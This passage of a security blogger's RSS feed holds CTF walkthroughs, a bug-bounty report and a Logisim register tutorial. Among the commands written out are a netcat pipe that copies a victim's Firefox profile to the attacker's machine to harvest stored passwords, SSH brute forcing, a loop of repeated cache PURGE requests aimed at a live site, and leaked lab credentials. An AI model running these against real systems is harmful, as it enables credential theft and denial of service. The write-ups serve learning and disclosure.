my mind at this moment, is parameter fuzzing.</p><p>you can use this command to fuzz parameters with gobuster</p><pre>gobuster fuzz -m POST -u http://&lt;target-ip&gt;/api/items?FUZZ=random -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt &gt; api.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sUjVQbqj4XY2Ufy8FkL1JA.png" /></figure><p>now I grep the responses that is differents from the status code 400</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxidufTRImf2-bBCro7jzw.png" /></figure><p>the hidden parameter was cmd, so we can use it to get a reverse shell. when I use “ls” command I get an error generated by Node.Js</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5ANPmHFQOmVMXy6azoocA.png" /></figure><p>I use a Node.js reverse shell, Don’t forget to encode key characters with url encoded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlud_hME_icJovD5Rify2g.png" /></figure><p>Now we’re in the machine and we found the first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Ui6sb96ruSLGlq1fkpDcg.png" /></figure><p>notice that there is a .firefox directory, .firefox directory is where Firefox stores user-specific data like bookmarks, passwords, browsing history, and extensions. inside the .firefox there are often multiple profile folders, each with a unique name (e.g., xxxxxxxx.default-release). These folders contain the actual profile data.</p><p>use this command to receive the .firefox folder to your machine</p><pre>nc -lvp 4444 | tar xf -</pre><p>in the target machine use this command to transfer it to your machine</p><pre>tar cf - .firefox/ | nc &lt;your-machine-ip&gt; 4444</pre><p>now open firefox with the profile folder inside the .firefox directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyn5ZmRmonxN13554icgqQ.png" /></figure><p>firefox will popped up, go to passwords and you will found the username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phgrTLubKAJ2Kf6IUUjgUQ.png" /></figure><p>switch to v0id user, I searched for files owned by root and have the SUID bit enable on it, I found doas binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEgP37Bwmi7_6qWp8m9BXg.png" /></figure><p>doas binary let us execute any command we want so we can read the root.txt flag or execute /bin/bash to get the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ShO6URtgVPdPD0fl9L7Uig.png" /></figure><p>Thanks for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30978b63df29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building an 8-bit computer in Logisim (Part 1— Register)]]></title>
            <link>https://medium.com/@VxRabbit/building-an-8-bit-computer-in-logisim-part-1-register-80ee0e3d998c?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/80ee0e3d998c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[8-bit-computer]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 16:29:25 GMT</pubDate>
            <atom:updated>2025-10-19T11:56:18.483Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w0jcnY0ADyzEWZGDo2gP3A.png" /></figure><p>hello everyone, For a long time, I’ve been fascinated and a little confused by how computers actually work., I mean I used to watch a lot of YouTube videos that talked about how computers work but it was not enough I always felt that there was something missing So I decided to build a complete 8-bit computer from scratch, using only basic logic gates. And I want to take you with me on this journey.</p><p>In this series, I’ll build each component of the computer individually, explain how it works at a low level, and connect everything together piece by piece — until we have a working 8-bit computer</p><p>We’ll be using [Logisim](<a href="https://sourceforge.net/projects/circuit/">https://sourceforge.net/projects/circuit/</a>) to design, simulate, and test our components visually.</p><p>And the first component we’ll tackle is:</p><h3>Register</h3><p>A Register is a tiny, high-speed storage element located inside the CPU. <br>It temporarily holds data that the CPU needs right now while executing instructions. Registers are made of clocked memory circuits called “flip-flops”, typically “D Flip-Flops”, and they operate at the same speed as the processor’s clock.</p><p>You might ask why do we need Registers or why not just use RAM?</p><p>Good question! RAM is much slower than the CPU. The processor can’t perform calculations directly on RAM values — it must first move the data into registers, work with them, and then optionally write the results back to memory.</p><p>Here are some of their core roles:</p><ul><li>Store intermediate values during computations-</li><li>Hold operands for the ALU</li><li>Temporarily buffer values coming from or going to RAM</li><li>Control instruction flow (via Program Counter)</li><li>Maintain processor state (via Flags/Status Register)</li></ul><p>Now that we understand how Registers works well, let’s move on to building one.</p><h3>Latch</h3><p>A latch is the simplest form of sequential logic — a circuit that can “remember” a value by maintaining its output, even when inputs change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*t3bWLILnM1sX-wjnUgX4Gw.png" /></figure><p>This circuit loops back on its self, and once you turn on the data input switch, the output will always be on. This is not super useful, because we need a way to toggle the state of the output.</p><h3>S-R Latch</h3><p>The S-R Latch is a basic memory circuit built using two cross-coupled NOR or NAND gates. It has two control inputs:</p><p>S (Set): sets the output to 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*1RBehrK9TSv3aSxRyoGrrQ.png" /></figure><p>R (Reset): resets the output to 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*WeKd1NzcPm430D6ScT83yA.png" /></figure><p>The problem of “S-R Latch” is When both inputs are 1, both outputs try to force opposite values. This causes race conditions, instability, or unknown states, and also There’s no concept of clock or timing — you can’t control when the change happens.</p><h3>D Latch</h3><p>A D Latch (“Data Latch”) is an improved version of the S-R Latch that eliminates the undefined state by using a single input (D) and a control signal (Enable or Clock).</p><p>When Enable is high, the latch is transparent (Q follows D). When Enable is low, the output holds its value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*ra4VyiMWyIRqPGs8XBiKWw.png" /></figure><p>The next thing to do is sync this up with the clock.</p><h3>D Flip-Flop</h3><p>A D Flip-Flop is a storage circuit that captures the input D only on a specific clock edge (typically the rising edge). Internally built from two D latches:</p><ul><li>Master latch (enabled when clock = 0)</li><li>Slave latch (enabled when clock = 1)</li></ul><p>This ensures that D is sampled exactly once per clock cycle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlmb532nuPOYzHk9mVabow.png" /></figure><h3>1-bit Register</h3><p>A D Flip-Flop alone will always update its value with the D input at every clock tick — even if you don’t want that. so we need to use a MUX to control whether we want to load new data or keep the old value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9jAkhi0l4CEWTSeRFtt7iQ.png" /></figure><p>finally now we have a Register that is sync with the clock and he can store 1-bit value and we can control when to load that’s value or keep the old one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*sOX3STBTbhcjTMwwJHe0Iw.png" /></figure><p>all you need to do now is Put these Registers together to make a 4-bit Register After that 8-bit Register</p><p>I hope this article was useful to you, Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80ee0e3d998c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unauthenticated PURGE on Varnish | My First Valid Bug]]></title>
            <link>https://medium.com/@VxRabbit/unauthenticated-purge-on-varnish-my-first-valid-bug-62a359ad711b?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/62a359ad711b</guid>
            <category><![CDATA[unauthenticated-purge]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[varnish-cache]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Mon, 30 Jun 2025 16:26:17 GMT</pubDate>
            <atom:updated>2025-06-30T16:26:17.410Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><p>Hello everyone! I am really happy to announce that I got my first valid bug from a VDP Program let say it’s name is redacted.com, so let us navigate through the intricacies of this discovery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*VPX9mrhM4uGKtwKHRqc_ew.png" /></figure><p>first what is Varnish Cache, <strong>Varnish Cache</strong> is a high-performance HTTP reverse proxy and caching solution designed to accelerate web applications. It&#39;s commonly placed between users and the backend server to <strong>store (cache)</strong> copies of web pages and static assets, so that repeated requests can be served <strong>much faster</strong> without hitting the origin server every time.</p><h4>📌 Summary</h4><p>During a routine security scan as part of a Vulnerability Disclosure Program (VDP), I identified a misconfiguration in the Varnish caching layer on this subdomain academy.redacted.com This misconfiguration allowed <strong>unauthenticated users</strong> to send PURGE requests to the server, resulting in a full cache eviction.</p><p>While it may seem minor at first glance, this issue introduces a range of potential risks — from degraded user experience to backend resource exhaustion, and even application-level denial of service (DoS)</p><h4>Proof of Concept (PoC)</h4><p>first I Purge the homepage cache</p><pre>curl -X PURGE https://academy.redacted.com</pre><p><em>the server whispers back</em></p><pre>{<br>    &quot;status&quot;: &quot;ok&quot;,<br>    &quot;id&quot;: &quot;XXXXX&quot;<br>}</pre><p>🎉 <strong>Success!</strong> 🎉</p><p>but how we can prove the impact of this Misconfiguration🤔 ?</p><ol><li>first I make a simple bash script to Purge homepage cache repeatedly</li></ol><pre>for i in {1..50}; do<br>  curl -s -X PURGE https://academy.usz.ch/ &gt; /dev/null &amp;<br>done<br>wait</pre><p>2. Measure the performance impact</p><pre>ab -n 100 -c 10 https://academy.redacted.com/</pre><h4>Benchmark Results (After Purging):</h4><ul><li><strong>Requests per second:</strong> 15.24 req/sec</li><li><strong>Mean time per request:</strong> 655 ms</li><li><strong>99% of requests</strong> exceeded <strong>3 seconds</strong></li><li><strong>Transfer rate:</strong> 30.41 Kbytes/sec</li></ul><p>These results clearly show that requests were no longer being served from cache, and the backend was fully handling each response, leading to significant performance degradation.</p><h4>🎯 Impact</h4><ul><li><strong>Backend Load Increase:</strong> Each purge forces the application to regenerate and serve full responses from origin, increasing CPU, memory, and DB usage.</li><li><strong>Latency:</strong> Degraded response times impact all users, especially during high traffic periods.</li><li><strong>Scalability Limitations:</strong> Attackers can exploit this to repeatedly clear the cache and overload backend resources.</li><li><strong>Denial of Service (DoS):</strong> Automated purge loops can lead to service unavailability.</li><li><strong>Increased Infrastructure Costs:</strong> Higher backend usage may result in increased cloud or CDN bills.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rG9Q0vBtXNUKLbe8Fcfj8g.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62a359ad711b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hacker | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/bounty-hacker-thm-walkthrough-e3f836e3d09e?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3f836e3d09e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 23:33:23 GMT</pubDate>
            <atom:updated>2025-06-27T23:34:38.556Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*osvmbnR6X4mgJQGWWdcoHg.png" /></figure><h4>📌 Challenge Info:</h4><ul><li>🧱 <strong>Room</strong>: Bounty Hacker</li><li>🌍 <strong>Category</strong>: Web Exploitation</li><li>🧠 <strong>Difficulty</strong>: Easy</li></ul><p>hey everyone, I’m very excited to share with you how I solve this easy challenge, so Let’s start</p><p>I start enumeration with Nmap and I found this 3 open ports</p><pre>└─$ nmap -sS -A 10.10.25.54  <br>Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 20:19 EAT<br>Nmap scan report for 10.10.25.54<br>Host is up (0.28s latency).<br><br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can&#39;t get directory listing: TIMEOUT<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.18.6.139<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 1<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)<br>|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)<br>|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>so first I enumerate the ftp (port 21) and I found that I can login with Anonymous, There were 2 files (locks.txt, task.txt). I downloaded them to my local machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90ux27znEdx-gGstdPP_uA.png" /></figure><p>I read the files and I found the username “lin” in the task.txt and a list of passwords in locks.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayZ54jfDPmfixiIqIVvB7A.png" /></figure><p>so it seems that I can use this username and this list of password to brute force SSH (port 22), I use hydra to do this mission</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcrKubCDte-VvN6ulkXN1w.png" /></figure><p>I use the founded credentials to login in ssh and read the first flag user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfTvKChf_MUb-TgyaPH1Ug.png" /></figure><p>now I need to escalate my privileges to be the root user so I can read the root.txt file, I find that the user “lin” could only run /bin/tar as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFYmnPR5Z189UwewKcAmIg.png" /></figure><p>I searched in GTFOBins for tar <a href="https://gtfobins.github.io/">https://gtfobins.github.io</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DETfiWQufTu96ZpeRLc7NA.png" /></figure><p>I run this command and get the root privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qmx1JU0qO32Hq9V_eEgR3A.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3f836e3d09e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberHeroes | THM Walktrough]]></title>
            <link>https://medium.com/@VxRabbit/cyberheroes-thm-walktrough-5365aa4cbf00?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/5365aa4cbf00</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 15:48:31 GMT</pubDate>
            <atom:updated>2025-10-15T23:54:29.808Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*VVR6hEKBNvP3RQN3k-wAsg.png" /></figure><h4><strong>📌 Challenge Info:</strong></h4><ul><li>🧱 <strong>Room</strong>: CyberHeroes</li><li>🌍 <strong>Category</strong>: Web Exploitation</li><li>🧠 <strong>Difficulty</strong>: Easy</li><li>🎯 <strong>Goal</strong>: bypass the login form</li></ul><p>hey everyone, this is my first write-up and I&#39;m very excited to show with you how I solve this easy challenge, so Let’s start</p><p>first I use gobuster to find hidden directory</p><pre>gobuster dir -u &lt;target_url&gt; -w &lt;wordlist_file&gt;</pre><p>I found this assets directory and I start searching on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONxnjGu21x8jDSBaLkYUXA.png" /></figure><p>I didn’t find anything special so I went back to the login form</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Etgk9kGGRpB_DE72hGLW-Q.png" /></figure><p>I searched in robots.txt But I didn’t find anything, so I try to view the page source and I find the credentials to login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Uek-ez730k7sxXgplJpg.png" /></figure><p>The username is “h3ck3rBoi” but the password is written backwards, so all you have to do is read it backwards “SuperSecret@12345”</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5365aa4cbf00" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>